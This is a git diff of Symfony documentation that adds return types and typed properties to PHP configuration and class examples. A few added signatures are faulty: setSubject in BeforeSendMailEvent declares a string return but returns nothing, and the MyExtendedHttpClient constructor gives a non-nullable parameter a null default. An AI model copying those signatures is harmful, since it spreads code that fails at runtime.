         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
@@ -264,7 +264,7 @@ You can also create more customized pools:
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $cache = $framework->cache();
             $cache->defaultMemcachedProvider('memcached://localhost');
 
@@ -444,7 +444,7 @@ and use that when configuring the pool.
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('cache.my_redis')
                     ->adapters(['cache.adapter.redis'])
@@ -524,7 +524,7 @@ Symfony stores the item automatically in all the missing pools.
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->defaultLifetime(31536000) // One year
@@ -616,7 +616,7 @@ to enable this feature. This could be added by using the following configuration
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->tags(true)
@@ -670,7 +670,7 @@ achieved by specifying the adapter.
         // config/packages/cache.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->tags('tag_pool')
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index f805b39db35..6d8672feeef 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -313,7 +313,7 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index d17d6d60b26..1389ca78fe3 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -31,6 +31,6 @@
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
+            return static function (ContainerConfigurator $container): void {
                 $container->import('%kernel.project_dir%/somefile.yaml');
             };
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 33fdcae8de2..3f79c57707d 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -107,7 +107,7 @@ PHP type (including objects)::
 
     class Apple
     {
-        public $variety;
+        public string $variety;
     }
 
     $apple = new Apple();
diff --git a/components/property_access.rst b/components/property_access.rst
index 7bf4a3d3a9e..3364b667a5c 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -177,7 +177,7 @@ method::
     // ...
     class Person
     {
-        public $name;
+        public string $name;
     }
 
     $person = new Person();
@@ -321,26 +321,26 @@ can use setters, the magic ``__set()`` method or properties to set values::
     // ...
     class Person
     {
-        public $firstName;
-        private $lastName;
-        private $children = [];
+        public string $firstName;
+        private string $lastName;
+        private array $children = [];
 
-        public function setLastName($name)
+        public function setLastName($name): void
         {
             $this->lastName = $name;
         }
 
-        public function getLastName()
+        public function getLastName(): string
         {
             return $this->lastName;
         }
 
-        public function getChildren()
+        public function getChildren(): array
         {
             return $this->children;
         }
 
-        public function __set($property, $value)
+        public function __set($property, $value): void
         {
             $this->$property = $value;
         }
@@ -507,15 +507,15 @@ You can also mix objects and arrays::
     // ...
     class Person
     {
-        public $firstName;
-        private $children = [];
+        public string $firstName;
+        private array $children = [];
 
-        public function setChildren($children)
+        public function setChildren($children): void
         {
             $this->children = $children;
         }
 
-        public function getChildren()
+        public function getChildren(): array
         {
             return $this->children;
         }
diff --git a/components/serializer.rst b/components/serializer.rst
index 0b97690650f..e08bd5c1f07 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -398,15 +398,15 @@ It is also possible to serialize only a set of specific attributes::
 
     class User
     {
-        public $familyName;
-        public $givenName;
-        public $company;
+        public string $familyName;
+        public string $givenName;
+        public string $company;
     }
 
     class Company
     {
-        public $name;
-        public $address;
+        public string $name;
+        public string $address;
     }
 
     $company = new Company();
@@ -529,8 +529,8 @@ Given you have the following object::
 
     class Company
     {
-        public $name;
-        public $address;
+        public string $name;
+        public string $address;
     }
 
 And in the serialized form, all attributes must be prefixed by ``org_`` like
@@ -925,7 +925,7 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->services()
                 // ...
                 ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 3a55d6c21bd..ccde974b9e5 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -144,7 +144,7 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
         // config/packages/debug.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('debug', [
                 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
             ]);
diff --git a/configuration.rst b/configuration.rst
index 733dbbac32a..b7ccac2ece7 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -136,7 +136,7 @@ configuration files, even if they use a different format:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->import('legacy_config.php');
 
             // glob expressions are also supported to load multiple files
@@ -242,7 +242,7 @@ reusable configuration value. By convention, parameters are defined under the
         use App\Entity\BlogPost;
         use App\Enum\PostState;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
@@ -321,7 +321,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('some_package', [
                 // any string surrounded by two % is replaced by that parameter value
                 'email_address' => '%app.admin_email%',
@@ -358,7 +358,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
+            return static function (ContainerConfigurator $container): void {
                 $container->parameters()
                     ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
             };
@@ -620,7 +620,7 @@ This example shows how you could configure the application secret using an env v
         // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->extension('framework', [
                 // by convention the env var names are always uppercase
                 'secret' => '%env(APP_SECRET)%',
@@ -973,7 +973,7 @@ doesn't work for parameters:
 
         use App\Service\MessageGenerator;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->parameters()
                 ->set('app.contents_dir', '...');
 
@@ -1030,7 +1030,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
 
         use App\Controller\LuckyController;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 15a91f249de..937c0e341f6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -45,7 +45,7 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
 
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->router()
                 ->httpPort('%env(int:HTTP_PORT)%')
                 // or
@@ -98,7 +98,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            return static function (ContainerBuilder $container, FrameworkConfig $framework): void {
                 $container->setParameter('env(SECRET)', 'some_secret');
                 $framework->secret(env('SECRET')->string());
             };
@@ -144,7 +144,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            return static function (ContainerBuilder $container, FrameworkConfig $framework): void {
                 $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
                 $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
             };
@@ -231,7 +231,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\SecurityConfig;
 
-            return static function (ContainerBuilder $container, SecurityConfig $security) {
+            return static function (ContainerBuilder $container, SecurityConfig $security): void {
                 $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
@@ -280,7 +280,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container) {
+            return static function (ContainerBuilder $container): void {
                 $container->setParameter('env(ALLOWED_LANGUAGES)', '["en","de","es"]');
                 $container->setParameter('app_allowed_languages', '%env(json:ALLOWED_LANGUAGES)%');
             };
@@ -364,7 +364,7 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $container) {
+            return static function (ContainerBuilder $container): void {
                 $container->setParameter('env(ALLOWED_LANGUAGES)', 'en,de,es');
                 $container->setParameter('app_allowed_languages', '%env(csv:ALLOWED_LANGUAGES)%');
             };
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 2a4b8a2b495..ac0d50e1671 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -369,7 +369,7 @@ because the configuration started to get bigger:
         // config/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework
                 ->secret('SOME_SECRET')
                 ->profiler()
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 7528c250729..4fb5524a2aa 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -67,7 +67,7 @@ Console script::
 Web front-controller::
 
     // public/index.php
-    
+
     // ...
     $_SERVER['APP_RUNTIME_OPTIONS']['dotenv_path'] = 'another/custom/path/to/.env';
 
@@ -236,7 +236,7 @@ configuration option to define your own translations directory (use :ref:`framew
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->translator()
                 ->defaultPath('%kernel.project_dir%/i18n')
             ;
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index d2923e13a42..bd52ea0895a 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -309,7 +309,7 @@ The secrets system is enabled by default and some of its behavior can be configu
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->secrets()
                 // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%')
                 // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local')
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 0e2463cbfd1..d28c51cce99 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -277,7 +277,7 @@ configuration option to point to it:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->errorController('App\Controller\ErrorController::show');
         };
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index f2a39c12262..9bcc17cd7cd 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -312,7 +312,7 @@ Then, define a service for this class:
 
         use App\Service\FileUploader;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(FileUploader::class)
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index b2d93b13148..d9a84aa06ee 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -320,7 +320,7 @@ and adding a priority:
 
         use App\ValueResolver\BookingIdValueResolver;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
+        return static function (ContainerConfigurator $containerConfigurator): void {
             $services = $containerConfigurator->services();
 
             $services->set(BookingIdValueResolver::class)
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 18377068cd6..2b716faa327 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -71,7 +71,7 @@ and what headers your reverse proxy uses to send information:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework
                 // the IP address (or range) of your proxy
                 ->trustedProxies('192.0.0.1,10.0.0.0/8')
diff --git a/doctrine.rst b/doctrine.rst
index 164ed72ed09..ff8eaa2479a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -282,7 +282,7 @@ methods:
           // ...
 
     +     #[ORM\Column(type: Types::TEXT)]
-    +     private $description;
+    +     private string $description;
 
           // getDescription() & setDescription() were also added
       }
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 9319fdbfca0..53a3dc5b32e 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -234,7 +234,7 @@ listener in the Symfony application by creating a new service for it and
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             // listeners are applied by default to all Doctrine connections
@@ -385,7 +385,7 @@ with the ``doctrine.orm.entity_listener`` tag as follows:
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(UserChangedNotifier::class)
@@ -531,7 +531,7 @@ Doctrine connection to use) you must do that in the manual service configuration
 
         use App\EventListener\DatabaseActivitySubscriber;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(DatabaseActivitySubscriber::class)
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index d09a05a7473..275ec7863fe 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -263,17 +263,17 @@ listen to the same ``kernel.exception`` event::
             ];
         }
 
-        public function processException(ExceptionEvent $event)
+        public function processException(ExceptionEvent $event): void
         {
             // ...
         }
 
-        public function logException(ExceptionEvent $event)
+        public function logException(ExceptionEvent $event): void
         {
             // ...
         }
 
-        public function notifyException(ExceptionEvent $event)
+        public function notifyException(ExceptionEvent $event): void
         {
             // ...
         }
@@ -306,7 +306,7 @@ a "main" request or a "sub request"::
 
     class RequestListener
     {
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             if (!$event->isMainRequest()) {
                 // don't do anything if it's not the main request
@@ -357,7 +357,7 @@ name (FQCN) of the corresponding event class::
             ];
         }
 
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             // ...
         }
@@ -381,7 +381,7 @@ compiler pass ``AddEventAliasesPass``::
 
     class Kernel extends BaseKernel
     {
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->addCompilerPass(new AddEventAliasesPass([
                 MyCustomEvent::class => 'my_custom_event',
@@ -519,11 +519,12 @@ A controller that implements this interface looks like this::
 
     use App\Controller\TokenAuthenticatedController;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class FooController extends AbstractController implements TokenAuthenticatedController
     {
         // An action that needs authentication
-        public function bar()
+        public function bar(): Response
         {
             // ...
         }
@@ -548,11 +549,11 @@ event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
     class TokenSubscriber implements EventSubscriberInterface
     {
         public function __construct(
-            private $tokens
+            private array $tokens
         ) {
         }
 
-        public function onKernelController(ControllerEvent $event)
+        public function onKernelController(ControllerEvent $event): void
         {
             $controller = $event->getController();
 
@@ -570,7 +571,7 @@ event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 KernelEvents::CONTROLLER => 'onKernelController',
@@ -609,7 +610,7 @@ For example, take the ``TokenSubscriber`` from the previous example and first
 record the authentication token inside the request attributes. This will
 serve as a basic flag that this request underwent token authentication::
 
-    public function onKernelController(ControllerEvent $event)
+    public function onKernelController(ControllerEvent $event): void
     {
         // ...
 
@@ -631,7 +632,7 @@ header on the response if it's found::
     // add the new use statement at the top of your file
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
 
-    public function onKernelResponse(ResponseEvent $event)
+    public function onKernelResponse(ResponseEvent $event): void
     {
         // check to see if onKernelController marked this as a token "auth'ed" request
         if (!$token = $event->getRequest()->attributes->get('auth_token')) {
@@ -645,7 +646,7 @@ header on the response if it's found::
         $response->headers->set('X-CONTENT-HASH', $hash);
     }
 
-    public static function getSubscribedEvents()
+    public static function getSubscribedEvents(): array
     {
         return [
             KernelEvents::CONTROLLER => 'onKernelController',
@@ -673,7 +674,7 @@ end of the method::
     {
         // ...
 
-        public function send($subject, $message)
+        public function send(string $subject, string $message): mixed
         {
             // dispatch an event before the method
             $event = new BeforeSendMailEvent($subject, $message);
@@ -711,27 +712,27 @@ this::
     class BeforeSendMailEvent extends Event
     {
         public function __construct(
-            private $subject,
-            private $message,
+            private string $subject,
+            private string $message,
         ) {
         }
 
-        public function getSubject()
+        public function getSubject(): string
         {
             return $this->subject;
         }
 
-        public function setSubject($subject)
+        public function setSubject(string $subject): string
         {
             $this->subject = $subject;
         }
 
-        public function getMessage()
+        public function getMessage(): string
         {
             return $this->message;
         }
 
-        public function setMessage($message)
+        public function setMessage(string $message)
         {
             $this->message = $message;
         }
@@ -747,16 +748,16 @@ And the ``AfterSendMailEvent`` even like this::
     class AfterSendMailEvent extends Event
     {
         public function __construct(
-            private $returnValue,
+            private mixed $returnValue,
         ) {
         }
 
-        public function getReturnValue()
+        public function getReturnValue(): mixed
         {
             return $this->returnValue;
         }
 
-        public function setReturnValue($returnValue)
+        public function setReturnValue(mixed $returnValue)
         {
             $this->returnValue = $returnValue;
         }
@@ -776,7 +777,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
     class MailPostSendSubscriber implements EventSubscriberInterface
     {
-        public function onMailerPostSend(AfterSendMailEvent $event)
+        public function onMailerPostSend(AfterSendMailEvent $event): void
         {
             $returnValue = $event->getReturnValue();
             // modify the original $returnValue value
@@ -784,7 +785,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
             $event->setReturnValue($returnValue);
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'mailer.post_send' => 'onMailerPostSend',
diff --git a/form/embedded.rst b/form/embedded.rst
index d4463532e9b..4263bb42b5d 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -22,7 +22,7 @@ creating the ``Category`` class::
     class Category
     {
         #[Assert\NotBlank]
-        public $name;
+        public string $name;
     }
 
 Next, add a new ``category`` property to the ``Task`` class::
@@ -35,7 +35,7 @@ Next, add a new ``category`` property to the ``Task`` class::
 
         #[Assert\Type(type: Category::class)]
         #[Assert\Valid]
-        protected $category;
+        protected ?Category $category = null;
 
         // ...
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index a873df8e801..9b86685889b 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -178,7 +178,7 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option:
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->assets()
                 ->versionStrategy(GulpBusterVersionStrategy::class)
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 9aa26bbe37e..fccaedd29cd 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -197,7 +197,7 @@ You can do this by defining a new HTML sanitizer in the configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     ->blockElement('h1')
@@ -273,7 +273,7 @@ Safe elements
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // enable either of these
@@ -360,7 +360,7 @@ attributes from the `W3C Standard Proposal`_ are allowed.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the <article> element and 2 attributes
@@ -443,7 +443,7 @@ This can also be used to remove elements from the allow list.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // remove <div>, but process the children
@@ -521,7 +521,7 @@ on all elements allowed *before this setting*.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow "src' on <iframe> elements
@@ -607,7 +607,7 @@ This option allows you to disallow attributes that were allowed before.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the "data-attr" on all safe elements...
@@ -685,7 +685,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     ->forceAttribute('a', 'rel', 'noopener noreferrer')
@@ -774,7 +774,7 @@ URLs of ``<a>`` elements:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs will be forced using the `https://` scheme (instead
@@ -888,7 +888,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs will be forced using the `https://` scheme (instead
@@ -979,7 +979,7 @@ increase or decrease this limit:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // inputs longer (in characters) than this value will be truncated (default: 20000)
@@ -1053,7 +1053,7 @@ to enable it for an HTML sanitizer:
         use App\Sanitizer\CustomAttributeSanitizer;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     ->withAttributeSanitizer(CustomAttributeSanitizer::class)
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 22bfed82be8..828d7c5e9e5 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -139,7 +139,7 @@ Then, register the class as a service that :doc:`decorates </service_container/s
 
         use App\CacheKernel;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CacheKernel::class)
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index c05cf5b9163..166672d2c05 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -86,7 +86,7 @@ First, to use ESI, be sure to enable it in your application configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->esi()
                 ->enabled(true)
             ;
@@ -246,7 +246,7 @@ that must be enabled in your configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->fragments()
                 ->path('/_fragment')
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 87e6b411099..f40ec3e114d 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -74,7 +74,7 @@ First, to use SSI, be sure to enable it in your application configuration:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->ssi()
                 ->enabled(true)
             ;
diff --git a/http_client.rst b/http_client.rst
index 5de78f879f9..b0a58670133 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -122,7 +122,7 @@ You can configure the global options using the ``default_options`` option:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->defaultOptions()
                     ->maxRedirects(7)
@@ -191,7 +191,7 @@ The HTTP client also has one configuration option called
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->maxHostConnections(10)
                 // ...
@@ -274,7 +274,7 @@ autoconfigure the HTTP client based on the requested URL:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // only requests matching scope will use these options
             $framework->httpClient()->scopedClient('github.client')
                 ->scope('https://api\.github\.com')
@@ -431,7 +431,7 @@ each request (which overrides any global authentication):
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()->scopedClient('example_api')
                 ->baseUri('https://example.com/')
                 // HTTP Basic authentication
@@ -533,7 +533,7 @@ Use the ``headers`` option to define the default headers added to all requests:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->defaultOptions()
                     ->header('User-Agent', 'My Fancy App')
@@ -939,7 +939,7 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->defaultOptions()
                     ->httpVersion('2.0')
@@ -1610,11 +1610,10 @@ If you want to extend the behavior of a base HTTP client, you can use
 
     class MyExtendedHttpClient implements HttpClientInterface
     {
-        private $decoratedClient;
-
-        public function __construct(HttpClientInterface $decoratedClient = null)
-        {
-            $this->decoratedClient = $decoratedClient ?? HttpClient::create();
+        public function __construct(
+            private HttpClientInterface $decoratedClient = null
+        ) {
+            $this->decoratedClient ??= HttpClient::create();
         }
 
         public function request(string $method, string $url, array $options = []): ResponseInterface
@@ -1885,7 +1884,7 @@ Then configure Symfony to use your callback:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->httpClient()
                 ->mockResponseFactory(MockClientCallback::class)
             ;
diff --git a/lock.rst b/lock.rst
index 71f98d5845c..8cf73549965 100644
--- a/lock.rst
+++ b/lock.rst
@@ -131,7 +131,7 @@ this behavior by using the ``lock`` key like:
         // config/packages/lock.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->lock()
